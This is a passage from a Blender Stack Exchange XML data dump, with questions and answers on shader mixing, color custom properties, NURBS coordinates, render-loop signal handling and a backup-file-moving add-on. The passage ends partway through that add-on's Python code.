  <row Id="6979" PostTypeId="1" CreationDate="2014-02-11T22:47:08.033" Score="4" ViewCount="281" Body="&lt;p&gt;A lot operators use &lt;code&gt;StringProperty&lt;/code&gt;s to reference objects by name. This works well for ID datablocks - no duplicate names allowed (although there can be issues with linked datablocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not all objects are of type ID datablock, and unique names may not be enforced. Related operators may take a string for indentification however. Thus you may not act upon the right object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If names aren't unique, one could use an integer to reference by index. But I wonder if there are &lt;strong&gt;any operators, which actually take a pointer&lt;/strong&gt; to the right object (in C)? Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ot-&amp;gt;prop = RNA_def_pointer(...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it even possible to use pointers as operator properties? It would mean that python couldn't make any use of it, if I'm not mistaken (or could one pass a python object, and have C code figure out the pointer?).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="12" LastEditDate="2014-02-12T00:29:41.073" LastActivityDate="2014-02-26T04:21:50.203" Title="Operator arguments - Identification if object names are not unique?" Tags="&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6980" PostTypeId="2" ParentId="6781" CreationDate="2014-02-12T00:13:16.683" Score="5" Body="&lt;p&gt;To stop the loop you can install your own handler for the SIGINT signal which is executed by the main thread. (see &lt;a href=&quot;http://docs.python.org/3/library/signal.html&quot; rel=&quot;nofollow&quot;&gt;signal module&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering of the current frame will not abort.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import signal&#xA;&#xA;abort = None&#xA;&#xA;def hndl(signum, frame):&#xA;    global abort&#xA;    abort = True&#xA;    print(&quot;\nAbort&quot;)&#xA;    #uncomment to call the default handler&#xA;    #raising the KeyboardInterruption exception&#xA;    #signal.default_int_handler(signum, frame)&#xA;&#xA;def run():&#xA;    global abort&#xA;    signal.signal(signal.SIGINT, hndl)&#xA;    count = 0&#xA;    abort = False&#xA;    while not abort and count &amp;lt; 10:&#xA;        count += 1&#xA;        print(count, abort)&#xA;        bpy.ops.render.render()&#xA;&#xA;def reset():   &#xA;    signal.signal(&#xA;        signal.SIGINT, &#xA;        signal.default_int_handler&#xA;        )&#xA;&#xA;if __name__== &quot;__main__&quot;:&#xA;    run()&#xA;    reset()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-13T09:23:41.200" LastActivityDate="2014-02-13T09:23:41.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6981" PostTypeId="1" CreationDate="2014-02-12T01:35:17.403" Score="6" ViewCount="5983" Body="&lt;p&gt;How can I go if I want to mix more than two shaders? Lets say that I have a diffuse and a glossy shader pluged onto a mix shader and than I want to put in a third shader (or more). How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="2444" LastActivityDate="2014-02-12T05:27:01.870" Title="How to mix more than two shaders?" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6982" PostTypeId="1" AcceptedAnswerId="6985" CreationDate="2014-02-12T03:54:58.330" Score="3" ViewCount="987" Body="&lt;p&gt;There is some presets in Color Management tab under &quot;look&quot; setting or via curves, but no custom setting that can bet set up with kelvins.&lt;/p&gt;&#xA;" OwnerUserId="2439" LastEditorUserId="20" LastEditDate="2014-02-12T16:08:18.200" LastActivityDate="2014-02-12T16:08:18.200" Title="How can I simulate Real camera &quot;white balance&quot; parameter in KELVINs" Tags="&lt;rendering&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6983" PostTypeId="2" ParentId="6981" CreationDate="2014-02-12T03:55:19.187" Score="4" Body="&lt;p&gt;The mix shader only directly supports two inputs, as you've seen. But the easiest fix here is just to use two mix shaders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kVV1I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mix Shader 1 takes Diffuse and Glossy as input.&lt;/li&gt;&#xA;&lt;li&gt;Mix Shader 2 takes Mix Shader 1 and another shader as input.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to make the shaders evenly distributed, you could set Mix Shader 2's &lt;em&gt;Fac&lt;/em&gt; value to &lt;code&gt;0.333&lt;/code&gt; (assuming Mix Shader 1 is in the first slot) to give each shader one-third of the overall influence.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="9" LastEditDate="2014-02-12T05:27:01.870" LastActivityDate="2014-02-12T05:27:01.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6984" PostTypeId="1" AcceptedAnswerId="6993" CreationDate="2014-02-12T04:40:42.137" Score="9" ViewCount="5001" Body="&lt;p&gt;With objects, there you can add Custom Properties to an object, though it only seems to let you specify numeric values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can add a color value as a custom property, such as through Blender's python API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; To clarify what I am doing: I am making a set of character models for use in a web comic I am making.  The character models will be &quot;generic&quot; ones for ordinary characters (ie: bystanders, pedestrians, etc.).  What I want to do is put some color field properties onto the armature (which is the parent of all the model pieces and clothing), and then use drivers in the model pieces so that they can pull the color data for the clothing, eyes, and skin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to use this method because I want to use models in a linked fashion, where I import one or more generic models and set the colors in the scene they are used in after importing, so that I don't fill up my hard drive (or my cloud drive) with dozens of .blend files for every color variation I use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; To clarify further, I wish for a solution that can be applied on a per-model basis, rather than needing to create an addon that adds the same set of properties to all models.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastEditorUserId="1897" LastEditDate="2014-02-13T17:33:00.827" LastActivityDate="2014-02-13T20:26:35.497" Title="Color as Custom Property?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6985" PostTypeId="2" ParentId="6982" CreationDate="2014-02-12T05:13:26.060" Score="4" Body="&lt;p&gt;'Looks' is meant to simulate the way different films respond to light, not quite the same as white balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To render lights at different colour temperature, you can use the 'Blackbody' material node to convert a Kelvins Temperature to an RGB colour:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RpasF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-12T05:13:26.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6986" PostTypeId="2" ParentId="6984" CreationDate="2014-02-12T07:21:55.937" Score="3" Body="&lt;p&gt;I don't know whether this would be the intended way, but at least it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add a string representation of other datatypes than integer from the &lt;em&gt;edit dialog&lt;/em&gt;, there you could paste a color value &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; copied from e.g. material settings, this would add a list with 4 floats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6Hcj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access your custom properties attached to your object e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o=bpy.data.objects[&quot;Cube&quot;]&#xA;c = Color( o[&quot;customColor&quot;][:3] )&#xA;print( c )&#xA;&amp;gt;&amp;gt;&amp;gt; &amp;lt;Color (r=0.8000, g=0.2236, b=0.2440)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set a color programmatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c = Color((1,2,3))&#xA;o[&quot;customColor&quot;]=c&#xA;&#xA;c2=o[&quot;customColor&quot;]&#xA;print(c2)&#xA;&amp;gt;&amp;gt;&amp;gt; &amp;lt;bpy id property array [3]&amp;gt;&#xA;&#xA;print(Color(c2))&#xA;&amp;gt;&amp;gt;&amp;gt; &amp;lt;Color (r=1.0000, g=2.0000, b=3.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2075/assign-datablock-to-custom-property&quot;&gt;Assign datablock to custom property&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;Properties, ID-Properties and their differences&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-02-12T07:33:27.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6987" PostTypeId="1" CreationDate="2014-02-12T07:59:38.437" Score="1" ViewCount="151" Body="&lt;p&gt;I use different pass for specular in BI, make Glare for specular and try to combine it with original picture with Mix node. When I use screen or overlay mix i get final picture with ugly blue spots instead white. What I'm doing wrong and what kind of Mix should i use to combine specular with original image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJJk8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2446" LastEditorUserId="2446" LastEditDate="2014-02-12T08:16:53.380" LastActivityDate="2014-02-12T16:15:22.137" Title="Blue spots in compositing after color mix" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6989" PostTypeId="2" ParentId="6987" CreationDate="2014-02-12T16:15:22.137" Score="1" Body="&lt;p&gt;You should be using the &lt;em&gt;Add&lt;/em&gt; mixing mode when you want to add more white pixels to the image, then plug the specular image in the top (so it adds to the bottom image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/olfjw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-02-12T16:15:22.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6990" PostTypeId="1" AcceptedAnswerId="6996" CreationDate="2014-02-12T17:44:08.637" Score="2" ViewCount="790" Body="&lt;p&gt;I am looking for a solution to get the world x, y, z coordinates of a given UV parameter on a NURBS Curve Surface. The output should be a &lt;code&gt;mathutils.Vector&lt;/code&gt;, or at least a Python tuple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="2217" LastEditDate="2014-06-26T22:08:08.057" LastActivityDate="2016-05-30T17:21:25.783" Title="How to get world coordinates of a UV parameter on a NURBS Curve Surface?" Tags="&lt;python&gt;&lt;nurbs-surface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6991" PostTypeId="5" CreationDate="2014-02-12T17:59:17.070" Score="0" Body="&lt;p&gt;&lt;em&gt;from &lt;a href=&quot;http://en.wikipedia.org/wiki/Non-uniform_rational_B-spline&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m8456.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NURBS are commonly used in computer-aided design (CAD), manufacturing&#xA;  (CAM), and engineering (CAE) and are part of numerous industry wide&#xA;  standards, such as IGES, STEP, ACIS, and PHIGS. NURBS tools are also&#xA;  found in various 3D modelling and animation software packages.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;They can be efficiently handled by the computer programs and yet allow&#xA;  for easy human interaction. NURBS surfaces are functions of two&#xA;  parameters mapping to a surface in three-dimensional space. The shape&#xA;  of the surface is determined by control points. NURBS surfaces can&#xA;  represent simple geometrical shapes in a compact form. T-splines and&#xA;  subdivision surfaces are more suitable for complex organic shapes&#xA;  because they reduce the number of control points twofold in comparison&#xA;  with the NURBS surfaces.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In general, editing NURBS curves and surfaces is highly intuitive and&#xA;  predictable. Control points are always either connected directly to&#xA;  the curve/surface, or act as if they were connected by a rubber band.&#xA;  Depending on the type of user interface, editing can be realized via&#xA;  an element’s control points, which are most obvious and common for&#xA;  Bézier curves, or via higher level tools such as spline modeling or&#xA;  hierarchical editing.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A surface under construction, e.g. the hull of a motor yacht, is&#xA;  usually composed of several NURBS surfaces known as patches. These&#xA;  patches should be fitted together in such a way that the boundaries&#xA;  are invisible. This is mathematically expressed by the concept of&#xA;  geometric continuity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="599" LastEditDate="2014-02-12T20:22:20.177" LastActivityDate="2014-02-12T20:22:20.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6992" PostTypeId="4" CreationDate="2014-02-12T17:59:17.070" Score="0" Body="Non-Uniform Rational Basis Spline (NURBS) is a mathematical model commonly used in computer graphics for generating and representing curves and surfaces. It offers great flexibility and precision for handling both analytic (surfaces defined by common mathematical formulae) and modeled shapes." OwnerUserId="1989" LastEditorUserId="1989" LastEditDate="2014-02-12T20:11:06.180" LastActivityDate="2014-02-12T20:11:06.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6993" PostTypeId="2" ParentId="6984" CreationDate="2014-02-12T18:02:37.147" Score="9" Body="&lt;p&gt;Here is condensed heavily edited sample add-on an artist requested t use blender as the middleman to mass convert vertex colors data from custom data source, the latter being removed as its not related to the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color value was selected using FloatVectorProperty, specifically with subtype COLOR. This also has the advantage that if exposed through the UI is visualised by the nice UI Color wheel/hex-widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is split into properties.py and ui.py as this is done for ease of maintainance and separation of concerns, ie storage and display. You can store the custom property anywhere you want I choose object as per the question, the same applies for where the ui appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also combine it into one script, just need to change registration from module to class and supply each class name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generally use a properties group when working with multiple properties, but you can just define a single custom property to attach.&#xA;&lt;code&gt;properties.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import FloatVectorProperty, StringProperty, PointerProperty&#xA;&#xA;class ObjectProperties(bpy.types.PropertyGroup):&#xA;    @classmethod&#xA;    def register(cls):&#xA;&#xA;        bpy.types.Object.custom = PointerProperty(&#xA;            name=&quot;Custom properties&quot;,&#xA;            description=&quot;Custom Properties for Objects&quot;,&#xA;            type=cls,&#xA;            )&#xA;&#xA;        #Add in the properties you want      &#xA;        cls.hexwidget = FloatVectorProperty(name=&quot;Hex Value&quot;, &#xA;                                        subtype='COLOR', &#xA;                                        default=[0.0,0.0,0.0])&#xA;&#xA;        cls.test_string = StringProperty(name=&quot;Test String&quot;,&#xA;                                        default=&quot;I am a string&quot;)&#xA;&#xA;    @classmethod&#xA;    def unregister(cls):&#xA;        del bpy.types.Object.custom&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ObjectProperties)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ObjectProperties)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This module has specific registration handling as we prefer to get rid of custom info if the addon is not install, design decision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the UI which will display the value stored in the defined property&#xA;&lt;code&gt;ui.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class UtilityPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Utilites Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_utilities&quot;&#xA;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout       &#xA;&#xA;        box = layout.box()&#xA;        row = box.row()&#xA;        row.prop(context.active_object.custom, &quot;hexwidget&quot;)&#xA;        row = box.row()&#xA;        row.prop(context.active_object.custom, &quot;test_string&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__init__.py&lt;/code&gt; for completeness    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#--- ### Header&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Custom Property: Color&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;,&#xA;}&#xA;&#xA;import bpy&#xA;import bpy.props&#xA;&#xA;from &amp;lt;folder_name&amp;gt; import ui, properties&#xA;&#xA;def register():&#xA;    properties.register()&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    properties.unregister()&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When enabled the add-on adds a custom propertygroup to each Object, which can be altered or expanded as you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FjZ7k.jpg&quot; alt=&quot;Custom Panel Object Tab&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2014-02-13T09:22:40.033" LastActivityDate="2014-02-13T09:22:40.033" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6994" PostTypeId="1" AcceptedAnswerId="26373" CreationDate="2014-02-12T20:14:02.463" Score="9" ViewCount="19992" Body="&lt;p&gt;When ever I try to move or rotate a bone in pose mode, nothing happens. The bone stays frozen, not moving to any axes, no matter what bone I chose.. &#xA;I tried rigify ready to use mesh but had the same issue.&lt;/p&gt;&#xA;" OwnerUserId="2451" LastEditorUserId="599" LastEditDate="2014-02-12T20:54:43.347" LastActivityDate="2017-11-29T23:30:57.563" Title="Bones not moving in pose mode?" Tags="&lt;transforms&gt;&lt;armature&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6995" PostTypeId="2" ParentId="6940" CreationDate="2014-02-12T20:32:33.813" Score="0" Body="&lt;p&gt;In Blender the file selector window have a filter for excluding BLEND1/BLEND2/... files. It's located inbetween the show BLEND files and show image files (a grey icon with the Blender logo).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uJWQ5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to activate the filter altogether by clicking on the funnel icon to the left of all the possible filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows 7 you can right click and select group by type, and then click on the arrows next to &quot;BLEND1 file&quot;, &quot;BLEND2 file&quot; et.c. in order to collapse these. This helps to remove clutter when browsing the files in Windows Explorer. Windows remembers your selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And consider using software for version control like GIT (&lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://git-scm.com/&lt;/a&gt;). Then you do not need the BLEND1/BLEND2/... files at all! And have greater flexibility experimenting.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2014-02-12T20:32:33.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6996" PostTypeId="2" ParentId="6990" CreationDate="2014-02-12T20:41:09.730" Score="2" Body="&lt;p&gt;This isn't supported, in general Blender's nurbs support is quite basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender uses a method of calculating nurbs that steps over the curve in U and V directions at a fixed level of subdivisions (tessellated for drawing in the viewport), and there are no built-in methods to ray-cast into a nurbs surface, though such methods exist and could be added to Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you really wanted its possible to take the nurbs data (before tessellation) and evaluate it from Python, but this would be quite an involved task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a simple solution you could just get the mesh of a nurbs object and (knowing the order of grid verts/faces), you could find the face that lies on a UV coord, then interpolate across the face... it wont give an accurate location but may be good-enough in some cases.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-02-13T01:42:43.610" LastActivityDate="2014-02-13T01:42:43.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6997" PostTypeId="2" ParentId="6972" CreationDate="2014-02-12T22:01:22.907" Score="1" Body="&lt;p&gt;Another program that supports Voxels, assuming they're xyz, is Paraview:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://paraview.org/&quot; rel=&quot;nofollow&quot;&gt;http://paraview.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you import it as a table you can run the following filters:&#xA;1. Table to Points&#xA;2.  3D Delauny&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're done, you can export the geometry as an X3D and then import it. &lt;/p&gt;&#xA;" OwnerUserId="2454" LastActivityDate="2014-02-12T22:01:22.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7000" PostTypeId="1" AcceptedAnswerId="7001" CreationDate="2014-02-13T03:17:34.237" Score="2" ViewCount="1440" Body="&lt;p&gt;I am trying to use a basic plane and texturing it with a doily for a table. The doily texture has an alpha layer. I used a mix shader with a transparency shader and the diffuse image shader and the factor from the image itself. I got a really weird result (picture below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fS6je.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using black for the color of the transparency and it ended up with this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ARGiF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="2217" LastEditDate="2014-08-17T02:48:00.140" LastActivityDate="2014-08-17T02:48:00.140" Title="Transparency problem with texture using cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7001" PostTypeId="2" ParentId="7000" CreationDate="2014-02-13T03:24:50.147" Score="2" Body="&lt;p&gt;I just figured it out. I need to switch the order of the textures in the mix node. Whoops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S3CnU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-02-13T03:24:50.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7002" PostTypeId="2" ParentId="6940" CreationDate="2014-02-13T03:46:34.370" Score="7" Body="&lt;p&gt;I took a little time writing an addon for Blender, which will move the backup save files to a sub directory every time you save. You may change it however you want it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it works for you guys. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply save the code below into a file called something .py, I called mine &quot;&lt;strong&gt;blender_move_backup_save_files_to_a_sub_directory.py&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then import the file by clicking: &lt;strong&gt;File&lt;/strong&gt; &gt; &lt;strong&gt;User Preferences&lt;/strong&gt; &gt; &lt;strong&gt;Addons&lt;/strong&gt; &gt; &lt;strong&gt;Install From File...&lt;/strong&gt; &gt; &lt;strong&gt;Finally select the file and activate the addon&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;version&quot;: (1, 3),&#xA;    &quot;blender&quot;: (2, 68, 0),&#xA;    &quot;name&quot;: &quot;Move Backup Save Files To A Sub Directory&quot;,&#xA;    &quot;author&quot;: &quot;Jonathan Stroem&quot;,&#xA;    &quot;description&quot;: &quot;&quot;&quot;Move the backup save files to a sub-directory instead of the Blender-file's current directory. A new folder called &quot;backup.blend&quot; will be created and all save-files will be moved there instead of the default folder.&quot;&quot;&quot; ,&#xA;    &quot;category&quot;: &quot;System&quot;,&#xA;    &quot;location&quot;: &quot;&quot;&quot;The backup folder will be named &quot;backup.blend&quot;. Under 'File &amp;gt; User Preferences &amp;gt; File &amp;gt; Save Versions', you can change how many backups that'll be used.&quot;&quot;&quot;,&#xA;    }&#xA;&#xA;#IMPORTS&#xA;import bpy, os&#xA;import shutil&#xA;from bpy.app.handlers import persistent&#xA;&#xA;import time&#xA;from stat import *&#xA;&#xA;#When enabling the addon.&#xA;def register():&#xA;    bpy.app.handlers.save_post.append(move_handler)&#xA;&#xA;#When disabling the addon.&#xA;def unregister():&#xA;    bpy.app.handlers.save_post.remove(move_handler)&#xA;&#xA;#So that Blender recognize it as an addon.&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;@persistent&#xA;def move_handler(dummy):&#xA;&#xA;    #fullpath = Full path to the data file.&#xA;    #directory = Directory the data file is in.&#xA;    #name = Name of file, without extension.&#xA;    #extension = Extension of files.&#xA;    #backup_amount = Max amount of backups to store.&#xA;    #backup_directory = The name of the backup directory. (Where the files should be moved.) So change this if you want to change where the backups are saved.&#xA;&#xA;    file = {&quot;fullpath&quot;:bpy.data.filepath, \&#xA;            &quot;directory&quot;:os.path.dirname(bpy.data.filepath), \&#xA;            &quot;name&quot;:bpy.path.display_name_from_filepath(bpy.data.filepath), \&#xA;            &quot;extension&quot;:&quot;.blend&quot;, \&#xA;            &quot;backup_amount&quot;:bpy.context.user_preferences.filepaths.save_version, \&#xA;            &quot;backup_directory&quot;:&quot;backup.blend&quot; \&#xA;            }&#xA;&#xA;    #Create backup directory if it doesn't exist.&#xA;    if file[&quot;backup_directory&quot;] not in os.listdir(file[&quot;directory&quot;]) :&#xA;        os.chdir(file[&quot;directory&quot;])&#xA;        os.mkdir(file[&quot;backup_directory&quot;])&#xA;&#xA;    #Get current save files from the backup directory.&#xA;    currentFiles = []&#xA;    for f in [ f for f in os.listdir(file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;]) for c in range(1, int(file[&quot;backup_amount&quot;]) + 1) if f == file[&quot;name&quot;] + file[&quot;extension&quot;] + str(c) if os.path.isfile(os.path.join(file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;], f)) ] :&#xA;        currentFiles.append(f)&#xA;&#xA;    #All this is moving the correct file.&#xA;    if len(currentFiles) &amp;lt; 1 : #If no files, then no need to check.&#xA;        if os.path.isfile(file[&quot;fullpath&quot;] + &quot;1&quot;) :&#xA;            shutil.move(file[&quot;fullpath&quot;] + &quot;1&quot;, file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;] + &quot;\\&quot; + file[&quot;name&quot;] + &quot;.blend1&quot;)&#xA;    else : #If the max backup amount has been reached, then check for the oldest file and overwrite that one.&#xA;        if file[&quot;backup_amount&quot;] &amp;lt;= len(currentFiles) :&#xA;            replaceFile = {&quot;modified_date&quot;:None, \&#xA;                           &quot;fullname&quot;:&quot;&quot;}&#xA;            for f in currentFiles :&#xA;                stats = os.stat(file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;] + &quot;\\&quot; + f) #Get attributes from a file.&#xA;                if replaceFile[&quot;fullname&quot;] == &quot;&quot; : #This will happen only the first time.&#xA;                    replaceFile[&quot;fullname&quot;] = f&#xA;                    replaceFile[&quot;modified_date&quot;] = time.asctime(time.localtime(stats[ST_MTIME]))&#xA;                else : # Is the previous file older or newer? If it's older, then you'd want to overwrite that one instead. Go through all backup-files.&#xA;                    temp_modified = time.asctime(time.localtime(stats[ST_MTIME]))&#xA;                    if replaceFile[&quot;modified_date&quot;] &amp;gt; temp_modified :&#xA;                        replaceFile[&quot;fullname&quot;] = f&#xA;                        replaceFile[&quot;modified_date&quot;] = temp_modified&#xA;&#xA;            #When the loop is finished, the oldest file has been found, and will be overwritten.&#xA;            shutil.move(file[&quot;fullpath&quot;] + &quot;1&quot;, file[&quot;directory&quot;] + &quot;\\&quot; + file[&quot;backup_directory&quot;] + &quot;\\&quot; + 